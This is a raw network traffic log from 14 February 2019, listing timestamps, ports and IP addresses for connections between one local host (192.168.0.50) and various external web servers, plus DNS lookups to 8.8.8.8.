Feb 14, 2019 13:00:15.133403063 MEZ	49328	80	192.168.0.50	178.250.0.130
Feb 14, 2019 13:00:15.133408070 MEZ	49328	80	192.168.0.50	178.250.0.130
Feb 14, 2019 13:00:15.133413076 MEZ	49328	80	192.168.0.50	178.250.0.130
Feb 14, 2019 13:00:15.133816004 MEZ	49328	80	192.168.0.50	178.250.0.130
Feb 14, 2019 13:00:15.133899927 MEZ	49328	80	192.168.0.50	178.250.0.130
Feb 14, 2019 13:00:15.133908987 MEZ	49328	80	192.168.0.50	178.250.0.130
Feb 14, 2019 13:00:15.133928061 MEZ	49328	80	192.168.0.50	178.250.0.130
Feb 14, 2019 13:00:15.133935928 MEZ	49328	80	192.168.0.50	178.250.0.130
Feb 14, 2019 13:00:15.133940935 MEZ	49328	80	192.168.0.50	178.250.0.130
Feb 14, 2019 13:00:15.133991957 MEZ	49328	80	192.168.0.50	178.250.0.130
Feb 14, 2019 13:00:15.134855032 MEZ	80	49327	77.245.58.158	192.168.0.50
Feb 14, 2019 13:00:15.135514975 MEZ	49328	80	192.168.0.50	178.250.0.130
Feb 14, 2019 13:00:15.135524988 MEZ	49328	80	192.168.0.50	178.250.0.130
Feb 14, 2019 13:00:15.135612011 MEZ	49328	80	192.168.0.50	178.250.0.130
Feb 14, 2019 13:00:15.135618925 MEZ	49328	80	192.168.0.50	178.250.0.130
Feb 14, 2019 13:00:15.135624886 MEZ	49328	80	192.168.0.50	178.250.0.130
Feb 14, 2019 13:00:15.135628939 MEZ	49328	80	192.168.0.50	178.250.0.130
Feb 14, 2019 13:00:15.135633945 MEZ	49328	80	192.168.0.50	178.250.0.130
Feb 14, 2019 13:00:15.158962965 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.159008026 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.159128904 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.159231901 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.159627914 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.159662008 MEZ	80	49328	178.250.0.130	192.168.0.50
Feb 14, 2019 13:00:15.161292076 MEZ	49328	80	192.168.0.50	178.250.0.130
Feb 14, 2019 13:00:15.161305904 MEZ	49328	80	192.168.0.50	178.250.0.130
Feb 14, 2019 13:00:15.161313057 MEZ	49328	80	192.168.0.50	178.250.0.130
Feb 14, 2019 13:00:15.161741018 MEZ	49328	80	192.168.0.50	178.250.0.130
Feb 14, 2019 13:00:15.161748886 MEZ	49328	80	192.168.0.50	178.250.0.130
Feb 14, 2019 13:00:15.433187962 MEZ	65228	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:15.438647032 MEZ	53	65228	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:15.440964937 MEZ	49329	80	192.168.0.50	178.250.0.145
Feb 14, 2019 13:00:15.463227034 MEZ	80	49329	178.250.0.145	192.168.0.50
Feb 14, 2019 13:00:15.464971066 MEZ	49329	80	192.168.0.50	178.250.0.145
Feb 14, 2019 13:00:15.465476036 MEZ	49329	80	192.168.0.50	178.250.0.145
Feb 14, 2019 13:00:15.487787962 MEZ	80	49329	178.250.0.145	192.168.0.50
Feb 14, 2019 13:00:15.494842052 MEZ	80	49329	178.250.0.145	192.168.0.50
Feb 14, 2019 13:00:15.494865894 MEZ	80	49329	178.250.0.145	192.168.0.50
Feb 14, 2019 13:00:15.494879961 MEZ	80	49329	178.250.0.145	192.168.0.50
Feb 14, 2019 13:00:15.497066021 MEZ	49329	80	192.168.0.50	178.250.0.145
Feb 14, 2019 13:00:15.497085094 MEZ	49329	80	192.168.0.50	178.250.0.145
Feb 14, 2019 13:00:15.526182890 MEZ	52855	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:15.527013063 MEZ	49330	80	192.168.0.50	77.245.58.158
Feb 14, 2019 13:00:15.531932116 MEZ	53	52855	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:15.534827948 MEZ	49331	80	192.168.0.50	178.250.0.160
Feb 14, 2019 13:00:15.546554089 MEZ	80	49330	77.245.58.158	192.168.0.50
Feb 14, 2019 13:00:15.548423052 MEZ	49330	80	192.168.0.50	77.245.58.158
Feb 14, 2019 13:00:15.548913002 MEZ	49330	80	192.168.0.50	77.245.58.158
Feb 14, 2019 13:00:15.560159922 MEZ	80	49331	178.250.0.160	192.168.0.50
Feb 14, 2019 13:00:15.562510014 MEZ	49331	80	192.168.0.50	178.250.0.160
Feb 14, 2019 13:00:15.563158989 MEZ	49331	80	192.168.0.50	178.250.0.160
Feb 14, 2019 13:00:15.568737030 MEZ	80	49330	77.245.58.158	192.168.0.50
Feb 14, 2019 13:00:15.574289083 MEZ	80	49330	77.245.58.158	192.168.0.50
Feb 14, 2019 13:00:15.574306011 MEZ	80	49330	77.245.58.158	192.168.0.50
Feb 14, 2019 13:00:15.576179981 MEZ	49330	80	192.168.0.50	77.245.58.158
Feb 14, 2019 13:00:15.576199055 MEZ	49330	80	192.168.0.50	77.245.58.158
Feb 14, 2019 13:00:15.576559067 MEZ	49330	80	192.168.0.50	77.245.58.158
Feb 14, 2019 13:00:15.579857111 MEZ	49313	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:15.580080986 MEZ	49313	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:15.583317995 MEZ	54864	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:15.583453894 MEZ	53027	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:15.588624954 MEZ	80	49331	178.250.0.160	192.168.0.50
Feb 14, 2019 13:00:15.590367079 MEZ	80	49331	178.250.0.160	192.168.0.50
Feb 14, 2019 13:00:15.592418909 MEZ	49331	80	192.168.0.50	178.250.0.160
Feb 14, 2019 13:00:15.595952034 MEZ	80	49330	77.245.58.158	192.168.0.50
Feb 14, 2019 13:00:15.599910021 MEZ	49316	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:15.600178957 MEZ	49316	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:15.619301081 MEZ	53	53027	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:15.619859934 MEZ	53	54864	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:15.660923958 MEZ	56519	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:15.662293911 MEZ	55138	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:15.662523031 MEZ	49332	80	192.168.0.50	77.245.58.151
Feb 14, 2019 13:00:15.667542934 MEZ	53	55138	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:15.670521021 MEZ	49333	443	192.168.0.50	178.250.2.146
Feb 14, 2019 13:00:15.682015896 MEZ	80	49332	77.245.58.151	192.168.0.50
Feb 14, 2019 13:00:15.683696985 MEZ	49332	80	192.168.0.50	77.245.58.151
Feb 14, 2019 13:00:15.684173107 MEZ	49332	80	192.168.0.50	77.245.58.151
Feb 14, 2019 13:00:15.690450907 MEZ	443	49333	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:15.692552090 MEZ	49333	443	192.168.0.50	178.250.2.146
Feb 14, 2019 13:00:15.692893028 MEZ	49333	443	192.168.0.50	178.250.2.146
Feb 14, 2019 13:00:15.703818083 MEZ	80	49332	77.245.58.151	192.168.0.50
Feb 14, 2019 13:00:15.706233978 MEZ	80	49313	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:15.707165003 MEZ	80	49332	77.245.58.151	192.168.0.50
Feb 14, 2019 13:00:15.707185984 MEZ	80	49332	77.245.58.151	192.168.0.50
Feb 14, 2019 13:00:15.707379103 MEZ	80	49313	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:15.709362984 MEZ	49332	80	192.168.0.50	77.245.58.151
Feb 14, 2019 13:00:15.709381104 MEZ	49313	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:15.709383011 MEZ	49332	80	192.168.0.50	77.245.58.151
Feb 14, 2019 13:00:15.709948063 MEZ	49332	80	192.168.0.50	77.245.58.151
Feb 14, 2019 13:00:15.712423086 MEZ	443	49333	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:15.712559938 MEZ	443	49333	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:15.712578058 MEZ	443	49333	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:15.714782000 MEZ	49333	443	192.168.0.50	178.250.2.146
Feb 14, 2019 13:00:15.714797974 MEZ	49333	443	192.168.0.50	178.250.2.146
Feb 14, 2019 13:00:15.727283955 MEZ	80	49316	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:15.727986097 MEZ	80	49316	13.66.51.37	192.168.0.50
Feb 14, 2019 13:00:15.729517937 MEZ	80	49332	77.245.58.151	192.168.0.50
Feb 14, 2019 13:00:15.729890108 MEZ	49316	80	192.168.0.50	13.66.51.37
Feb 14, 2019 13:00:15.761298895 MEZ	49333	443	192.168.0.50	178.250.2.146
Feb 14, 2019 13:00:15.781202078 MEZ	443	49333	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:15.783705950 MEZ	443	49333	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:15.786021948 MEZ	49333	443	192.168.0.50	178.250.2.146
Feb 14, 2019 13:00:15.794235945 MEZ	53	56519	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:15.810225010 MEZ	49334	443	192.168.0.50	74.117.182.93
Feb 14, 2019 13:00:15.810606003 MEZ	49333	443	192.168.0.50	178.250.2.146
Feb 14, 2019 13:00:15.830045938 MEZ	443	49333	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:15.832221985 MEZ	443	49333	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:15.832238913 MEZ	443	49333	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:15.832356930 MEZ	443	49333	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:15.832448006 MEZ	443	49333	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:15.832554102 MEZ	443	49333	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:15.832679033 MEZ	443	49333	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:15.832839012 MEZ	443	49333	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:15.832952023 MEZ	443	49333	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:15.833004951 MEZ	443	49333	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:15.833118916 MEZ	443	49333	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:15.833214045 MEZ	443	49333	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:15.834381104 MEZ	49333	443	192.168.0.50	178.250.2.146
Feb 14, 2019 13:00:15.834399939 MEZ	49333	443	192.168.0.50	178.250.2.146
Feb 14, 2019 13:00:15.834909916 MEZ	49333	443	192.168.0.50	178.250.2.146
Feb 14, 2019 13:00:15.834918022 MEZ	49333	443	192.168.0.50	178.250.2.146
Feb 14, 2019 13:00:15.834923029 MEZ	49333	443	192.168.0.50	178.250.2.146
Feb 14, 2019 13:00:15.835475922 MEZ	49333	443	192.168.0.50	178.250.2.146
Feb 14, 2019 13:00:15.835484982 MEZ	49333	443	192.168.0.50	178.250.2.146
Feb 14, 2019 13:00:15.835525990 MEZ	49333	443	192.168.0.50	178.250.2.146
Feb 14, 2019 13:00:15.930912971 MEZ	49335	443	192.168.0.50	178.250.2.146
Feb 14, 2019 13:00:15.931704998 MEZ	49333	443	192.168.0.50	178.250.2.146
Feb 14, 2019 13:00:15.948431015 MEZ	443	49334	74.117.182.93	192.168.0.50
Feb 14, 2019 13:00:15.948694944 MEZ	443	49335	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:15.950335026 MEZ	49334	443	192.168.0.50	74.117.182.93
Feb 14, 2019 13:00:15.950342894 MEZ	49335	443	192.168.0.50	178.250.2.146
Feb 14, 2019 13:00:15.950700998 MEZ	49335	443	192.168.0.50	178.250.2.146
Feb 14, 2019 13:00:15.950750113 MEZ	49334	443	192.168.0.50	74.117.182.93
Feb 14, 2019 13:00:15.951205015 MEZ	443	49333	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:15.953047991 MEZ	443	49333	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:15.955120087 MEZ	49333	443	192.168.0.50	178.250.2.146
Feb 14, 2019 13:00:15.958779097 MEZ	53694	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:15.964343071 MEZ	53	53694	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:15.966948986 MEZ	49336	443	192.168.0.50	185.235.84.148
Feb 14, 2019 13:00:15.968676090 MEZ	443	49335	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:15.968677998 MEZ	443	49335	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:15.968678951 MEZ	443	49335	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:15.970385075 MEZ	49335	443	192.168.0.50	178.250.2.146
Feb 14, 2019 13:00:15.970403910 MEZ	49335	443	192.168.0.50	178.250.2.146
Feb 14, 2019 13:00:15.976733923 MEZ	49335	443	192.168.0.50	178.250.2.146
Feb 14, 2019 13:00:15.993530035 MEZ	443	49335	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:15.993552923 MEZ	443	49336	185.235.84.148	192.168.0.50
Feb 14, 2019 13:00:15.995940924 MEZ	49336	443	192.168.0.50	185.235.84.148
Feb 14, 2019 13:00:15.996268034 MEZ	49336	443	192.168.0.50	185.235.84.148
Feb 14, 2019 13:00:15.996809959 MEZ	443	49335	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:15.998565912 MEZ	49335	443	192.168.0.50	178.250.2.146
Feb 14, 2019 13:00:15.999099970 MEZ	49335	443	192.168.0.50	178.250.2.146
Feb 14, 2019 13:00:16.015913010 MEZ	443	49335	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:16.018152952 MEZ	443	49335	178.250.2.146	192.168.0.50
Feb 14, 2019 13:00:16.019589901 MEZ	49335	443	192.168.0.50	178.250.2.146
Feb 14, 2019 13:00:16.023034096 MEZ	443	49336	185.235.84.148	192.168.0.50
Feb 14, 2019 13:00:16.023142099 MEZ	443	49336	185.235.84.148	192.168.0.50
Feb 14, 2019 13:00:16.023156881 MEZ	443	49336	185.235.84.148	192.168.0.50
Feb 14, 2019 13:00:16.024930000 MEZ	49336	443	192.168.0.50	185.235.84.148
Feb 14, 2019 13:00:16.024944067 MEZ	49336	443	192.168.0.50	185.235.84.148
Feb 14, 2019 13:00:16.048930883 MEZ	49336	443	192.168.0.50	185.235.84.148
Feb 14, 2019 13:00:16.075191021 MEZ	443	49336	185.235.84.148	192.168.0.50
Feb 14, 2019 13:00:16.077588081 MEZ	443	49336	185.235.84.148	192.168.0.50
Feb 14, 2019 13:00:16.079408884 MEZ	49336	443	192.168.0.50	185.235.84.148
Feb 14, 2019 13:00:16.080147028 MEZ	49336	443	192.168.0.50	185.235.84.148
Feb 14, 2019 13:00:16.090447903 MEZ	443	49334	74.117.182.93	192.168.0.50
Feb 14, 2019 13:00:16.090565920 MEZ	443	49334	74.117.182.93	192.168.0.50
Feb 14, 2019 13:00:16.090581894 MEZ	443	49334	74.117.182.93	192.168.0.50
Feb 14, 2019 13:00:16.092597008 MEZ	49334	443	192.168.0.50	74.117.182.93
Feb 14, 2019 13:00:16.092619896 MEZ	49334	443	192.168.0.50	74.117.182.93
Feb 14, 2019 13:00:16.099292994 MEZ	50139	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:16.100502014 MEZ	50554	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:16.104360104 MEZ	53	50139	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:16.106342077 MEZ	443	49336	185.235.84.148	192.168.0.50
Feb 14, 2019 13:00:16.107625008 MEZ	49337	80	192.168.0.50	95.100.97.91
Feb 14, 2019 13:00:16.107804060 MEZ	443	49336	185.235.84.148	192.168.0.50
Feb 14, 2019 13:00:16.107820988 MEZ	443	49336	185.235.84.148	192.168.0.50
Feb 14, 2019 13:00:16.109949112 MEZ	49336	443	192.168.0.50	185.235.84.148
Feb 14, 2019 13:00:16.129937887 MEZ	80	49337	95.100.97.91	192.168.0.50
Feb 14, 2019 13:00:16.130845070 MEZ	53	50554	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:16.131901026 MEZ	49337	80	192.168.0.50	95.100.97.91
Feb 14, 2019 13:00:16.132350922 MEZ	49337	80	192.168.0.50	95.100.97.91
Feb 14, 2019 13:00:16.151945114 MEZ	80	49337	95.100.97.91	192.168.0.50
Feb 14, 2019 13:00:16.162261009 MEZ	80	49337	95.100.97.91	192.168.0.50
Feb 14, 2019 13:00:16.162278891 MEZ	80	49337	95.100.97.91	192.168.0.50
Feb 14, 2019 13:00:16.163929939 MEZ	49337	80	192.168.0.50	95.100.97.91
Feb 14, 2019 13:00:16.163944960 MEZ	49337	80	192.168.0.50	95.100.97.91
Feb 14, 2019 13:00:16.164534092 MEZ	49337	80	192.168.0.50	95.100.97.91
Feb 14, 2019 13:00:16.168380022 MEZ	49334	443	192.168.0.50	74.117.182.93
Feb 14, 2019 13:00:16.172178030 MEZ	53579	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:16.177458048 MEZ	53	53579	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:16.180572033 MEZ	49339	443	192.168.0.50	185.235.84.37
Feb 14, 2019 13:00:16.183994055 MEZ	80	49337	95.100.97.91	192.168.0.50
Feb 14, 2019 13:00:16.206048012 MEZ	443	49339	185.235.84.37	192.168.0.50
Feb 14, 2019 13:00:16.208017111 MEZ	49339	443	192.168.0.50	185.235.84.37
Feb 14, 2019 13:00:16.208256960 MEZ	49339	443	192.168.0.50	185.235.84.37
Feb 14, 2019 13:00:16.234324932 MEZ	443	49339	185.235.84.37	192.168.0.50
Feb 14, 2019 13:00:16.234431982 MEZ	443	49339	185.235.84.37	192.168.0.50
Feb 14, 2019 13:00:16.234447002 MEZ	443	49339	185.235.84.37	192.168.0.50
Feb 14, 2019 13:00:16.236423969 MEZ	49339	443	192.168.0.50	185.235.84.37
Feb 14, 2019 13:00:16.236443996 MEZ	49339	443	192.168.0.50	185.235.84.37
Feb 14, 2019 13:00:16.244224072 MEZ	49339	443	192.168.0.50	185.235.84.37
Feb 14, 2019 13:00:16.270313025 MEZ	443	49339	185.235.84.37	192.168.0.50
Feb 14, 2019 13:00:16.272634983 MEZ	443	49339	185.235.84.37	192.168.0.50
Feb 14, 2019 13:00:16.274585009 MEZ	49339	443	192.168.0.50	185.235.84.37
Feb 14, 2019 13:00:16.275254011 MEZ	49339	443	192.168.0.50	185.235.84.37
Feb 14, 2019 13:00:16.300808907 MEZ	443	49339	185.235.84.37	192.168.0.50
Feb 14, 2019 13:00:16.302232981 MEZ	443	49339	185.235.84.37	192.168.0.50
Feb 14, 2019 13:00:16.302248001 MEZ	443	49339	185.235.84.37	192.168.0.50
Feb 14, 2019 13:00:16.304662943 MEZ	49339	443	192.168.0.50	185.235.84.37
Feb 14, 2019 13:00:16.306585073 MEZ	443	49334	74.117.182.93	192.168.0.50
Feb 14, 2019 13:00:16.308202028 MEZ	49334	443	192.168.0.50	74.117.182.93
Feb 14, 2019 13:00:16.309495926 MEZ	49334	443	192.168.0.50	74.117.182.93
Feb 14, 2019 13:00:16.310261965 MEZ	50923	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:16.315123081 MEZ	53	50923	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:16.317902088 MEZ	49340	443	192.168.0.50	185.235.84.23
Feb 14, 2019 13:00:16.344310999 MEZ	443	49340	185.235.84.23	192.168.0.50
Feb 14, 2019 13:00:16.345990896 MEZ	49340	443	192.168.0.50	185.235.84.23
Feb 14, 2019 13:00:16.346719980 MEZ	49340	443	192.168.0.50	185.235.84.23
Feb 14, 2019 13:00:16.372103930 MEZ	443	49340	185.235.84.23	192.168.0.50
Feb 14, 2019 13:00:16.372237921 MEZ	443	49340	185.235.84.23	192.168.0.50
Feb 14, 2019 13:00:16.372255087 MEZ	443	49340	185.235.84.23	192.168.0.50
Feb 14, 2019 13:00:16.374414921 MEZ	49340	443	192.168.0.50	185.235.84.23
Feb 14, 2019 13:00:16.374437094 MEZ	49340	443	192.168.0.50	185.235.84.23
Feb 14, 2019 13:00:16.383374929 MEZ	49340	443	192.168.0.50	185.235.84.23
Feb 14, 2019 13:00:16.408809900 MEZ	443	49340	185.235.84.23	192.168.0.50
Feb 14, 2019 13:00:16.411598921 MEZ	443	49340	185.235.84.23	192.168.0.50
Feb 14, 2019 13:00:16.413688898 MEZ	49340	443	192.168.0.50	185.235.84.23
Feb 14, 2019 13:00:16.414249897 MEZ	49340	443	192.168.0.50	185.235.84.23
Feb 14, 2019 13:00:16.439693928 MEZ	443	49340	185.235.84.23	192.168.0.50
Feb 14, 2019 13:00:16.441345930 MEZ	443	49340	185.235.84.23	192.168.0.50
Feb 14, 2019 13:00:16.443622112 MEZ	49340	443	192.168.0.50	185.235.84.23
Feb 14, 2019 13:00:16.451528072 MEZ	50035	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:16.452872038 MEZ	443	49334	74.117.182.93	192.168.0.50
Feb 14, 2019 13:00:16.452939987 MEZ	443	49334	74.117.182.93	192.168.0.50
Feb 14, 2019 13:00:16.455241919 MEZ	49334	443	192.168.0.50	74.117.182.93
Feb 14, 2019 13:00:16.456372976 MEZ	53	50035	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:16.459794998 MEZ	49341	443	192.168.0.50	178.250.2.150
Feb 14, 2019 13:00:16.462728977 MEZ	49334	443	192.168.0.50	74.117.182.93
Feb 14, 2019 13:00:16.468836069 MEZ	61103	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:16.479161024 MEZ	443	49341	178.250.2.150	192.168.0.50
Feb 14, 2019 13:00:16.481465101 MEZ	49341	443	192.168.0.50	178.250.2.150
Feb 14, 2019 13:00:16.481781960 MEZ	49341	443	192.168.0.50	178.250.2.150
Feb 14, 2019 13:00:16.494940996 MEZ	53	61103	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:16.498002052 MEZ	49342	443	192.168.0.50	5.57.17.90
Feb 14, 2019 13:00:16.501188040 MEZ	443	49341	178.250.2.150	192.168.0.50
Feb 14, 2019 13:00:16.501300097 MEZ	443	49341	178.250.2.150	192.168.0.50
Feb 14, 2019 13:00:16.501315117 MEZ	443	49341	178.250.2.150	192.168.0.50
Feb 14, 2019 13:00:16.503560066 MEZ	49341	443	192.168.0.50	178.250.2.150
Feb 14, 2019 13:00:16.503572941 MEZ	49341	443	192.168.0.50	178.250.2.150
Feb 14, 2019 13:00:16.513530970 MEZ	49341	443	192.168.0.50	178.250.2.150
Feb 14, 2019 13:00:16.513948917 MEZ	443	49342	5.57.17.90	192.168.0.50
Feb 14, 2019 13:00:16.516123056 MEZ	49342	443	192.168.0.50	5.57.17.90
Feb 14, 2019 13:00:16.516138077 MEZ	49342	443	192.168.0.50	5.57.17.90
Feb 14, 2019 13:00:16.532937050 MEZ	443	49342	5.57.17.90	192.168.0.50
Feb 14, 2019 13:00:16.533042908 MEZ	443	49342	5.57.17.90	192.168.0.50
Feb 14, 2019 13:00:16.533057928 MEZ	443	49342	5.57.17.90	192.168.0.50
Feb 14, 2019 13:00:16.533626080 MEZ	443	49341	178.250.2.150	192.168.0.50
Feb 14, 2019 13:00:16.535098076 MEZ	49342	443	192.168.0.50	5.57.17.90
Feb 14, 2019 13:00:16.535116911 MEZ	49342	443	192.168.0.50	5.57.17.90
Feb 14, 2019 13:00:16.538106918 MEZ	443	49341	178.250.2.150	192.168.0.50
Feb 14, 2019 13:00:16.540244102 MEZ	49341	443	192.168.0.50	178.250.2.150
Feb 14, 2019 13:00:16.593122005 MEZ	49342	443	192.168.0.50	5.57.17.90
Feb 14, 2019 13:00:16.593761921 MEZ	49341	443	192.168.0.50	178.250.2.150
Feb 14, 2019 13:00:16.603009939 MEZ	443	49334	74.117.182.93	192.168.0.50
Feb 14, 2019 13:00:16.605396032 MEZ	49334	443	192.168.0.50	74.117.182.93
Feb 14, 2019 13:00:16.609647989 MEZ	443	49342	5.57.17.90	192.168.0.50
Feb 14, 2019 13:00:16.611774921 MEZ	49342	443	192.168.0.50	5.57.17.90
Feb 14, 2019 13:00:16.613532066 MEZ	443	49341	178.250.2.150	192.168.0.50
Feb 14, 2019 13:00:16.614131927 MEZ	443	49341	178.250.2.150	192.168.0.50
Feb 14, 2019 13:00:16.615531921 MEZ	49342	443	192.168.0.50	5.57.17.90
Feb 14, 2019 13:00:16.615550995 MEZ	49342	443	192.168.0.50	5.57.17.90
Feb 14, 2019 13:00:16.615573883 MEZ	49342	443	192.168.0.50	5.57.17.90
Feb 14, 2019 13:00:16.615581989 MEZ	49342	443	192.168.0.50	5.57.17.90
Feb 14, 2019 13:00:16.616333008 MEZ	49341	443	192.168.0.50	178.250.2.150
Feb 14, 2019 13:00:16.631833076 MEZ	443	49342	5.57.17.90	192.168.0.50
Feb 14, 2019 13:00:16.631875038 MEZ	443	49342	5.57.17.90	192.168.0.50
Feb 14, 2019 13:00:16.631890059 MEZ	443	49342	5.57.17.90	192.168.0.50
Feb 14, 2019 13:00:16.632421970 MEZ	443	49342	5.57.17.90	192.168.0.50
Feb 14, 2019 13:00:16.632437944 MEZ	443	49342	5.57.17.90	192.168.0.50
Feb 14, 2019 13:00:16.632560968 MEZ	443	49342	5.57.17.90	192.168.0.50
Feb 14, 2019 13:00:16.632575035 MEZ	443	49342	5.57.17.90	192.168.0.50
Feb 14, 2019 13:00:16.632587910 MEZ	443	49342	5.57.17.90	192.168.0.50
Feb 14, 2019 13:00:16.633743048 MEZ	49342	443	192.168.0.50	5.57.17.90
Feb 14, 2019 13:00:16.633763075 MEZ	49342	443	192.168.0.50	5.57.17.90
Feb 14, 2019 13:00:16.633945942 MEZ	49342	443	192.168.0.50	5.57.17.90
Feb 14, 2019 13:00:16.634293079 MEZ	49342	443	192.168.0.50	5.57.17.90
Feb 14, 2019 13:00:16.634301901 MEZ	49342	443	192.168.0.50	5.57.17.90
Feb 14, 2019 13:00:16.634809017 MEZ	49342	443	192.168.0.50	5.57.17.90
Feb 14, 2019 13:00:16.634818077 MEZ	49342	443	192.168.0.50	5.57.17.90
Feb 14, 2019 13:00:16.684096098 MEZ	49901	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:16.684817076 MEZ	49342	443	192.168.0.50	5.57.17.90
Feb 14, 2019 13:00:16.691755056 MEZ	443	49342	5.57.17.90	192.168.0.50
Feb 14, 2019 13:00:16.700795889 MEZ	443	49342	5.57.17.90	192.168.0.50
Feb 14, 2019 13:00:16.709638119 MEZ	53	49901	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:16.712167978 MEZ	49344	443	192.168.0.50	5.57.17.220
Feb 14, 2019 13:00:16.728018999 MEZ	443	49344	5.57.17.220	192.168.0.50
Feb 14, 2019 13:00:16.729753017 MEZ	49344	443	192.168.0.50	5.57.17.220
Feb 14, 2019 13:00:16.730052948 MEZ	49344	443	192.168.0.50	5.57.17.220
Feb 14, 2019 13:00:16.746257067 MEZ	443	49344	5.57.17.220	192.168.0.50
Feb 14, 2019 13:00:16.746362925 MEZ	443	49344	5.57.17.220	192.168.0.50
Feb 14, 2019 13:00:16.746378899 MEZ	443	49344	5.57.17.220	192.168.0.50
Feb 14, 2019 13:00:16.748322010 MEZ	49344	443	192.168.0.50	5.57.17.220
Feb 14, 2019 13:00:16.748342037 MEZ	49344	443	192.168.0.50	5.57.17.220
Feb 14, 2019 13:00:16.829011917 MEZ	49344	443	192.168.0.50	5.57.17.220
Feb 14, 2019 13:00:16.844948053 MEZ	443	49344	5.57.17.220	192.168.0.50
Feb 14, 2019 13:00:16.846873999 MEZ	49344	443	192.168.0.50	5.57.17.220
Feb 14, 2019 13:00:16.848293066 MEZ	49344	443	192.168.0.50	5.57.17.220
Feb 14, 2019 13:00:16.848308086 MEZ	49344	443	192.168.0.50	5.57.17.220
Feb 14, 2019 13:00:16.848315001 MEZ	49344	443	192.168.0.50	5.57.17.220
Feb 14, 2019 13:00:16.848323107 MEZ	49344	443	192.168.0.50	5.57.17.220
Feb 14, 2019 13:00:16.870938063 MEZ	443	49344	5.57.17.220	192.168.0.50
Feb 14, 2019 13:00:16.870965004 MEZ	443	49344	5.57.17.220	192.168.0.50
Feb 14, 2019 13:00:16.870980024 MEZ	443	49344	5.57.17.220	192.168.0.50
Feb 14, 2019 13:00:16.873164892 MEZ	49344	443	192.168.0.50	5.57.17.220
Feb 14, 2019 13:00:16.873184919 MEZ	49344	443	192.168.0.50	5.57.17.220
Feb 14, 2019 13:00:16.873301029 MEZ	49344	443	192.168.0.50	5.57.17.220
Feb 14, 2019 13:00:16.889069080 MEZ	443	49344	5.57.17.220	192.168.0.50
Feb 14, 2019 13:00:16.969929934 MEZ	443	49344	5.57.17.220	192.168.0.50
Feb 14, 2019 13:00:16.969957113 MEZ	443	49344	5.57.17.220	192.168.0.50
Feb 14, 2019 13:00:16.971385002 MEZ	49344	443	192.168.0.50	5.57.17.220
Feb 14, 2019 13:00:17.000111103 MEZ	60342	53	192.168.0.50	8.8.8.8
Feb 14, 2019 13:00:17.005183935 MEZ	53	60342	8.8.8.8	192.168.0.50
Feb 14, 2019 13:00:17.008647919 MEZ	49346	443	192.168.0.50	192.229.133.51
Feb 14, 2019 13:00:17.031308889 MEZ	443	49346	192.229.133.51	192.168.0.50
Feb 14, 2019 13:00:17.033246994 MEZ	49346	443	192.168.0.50	192.229.133.51
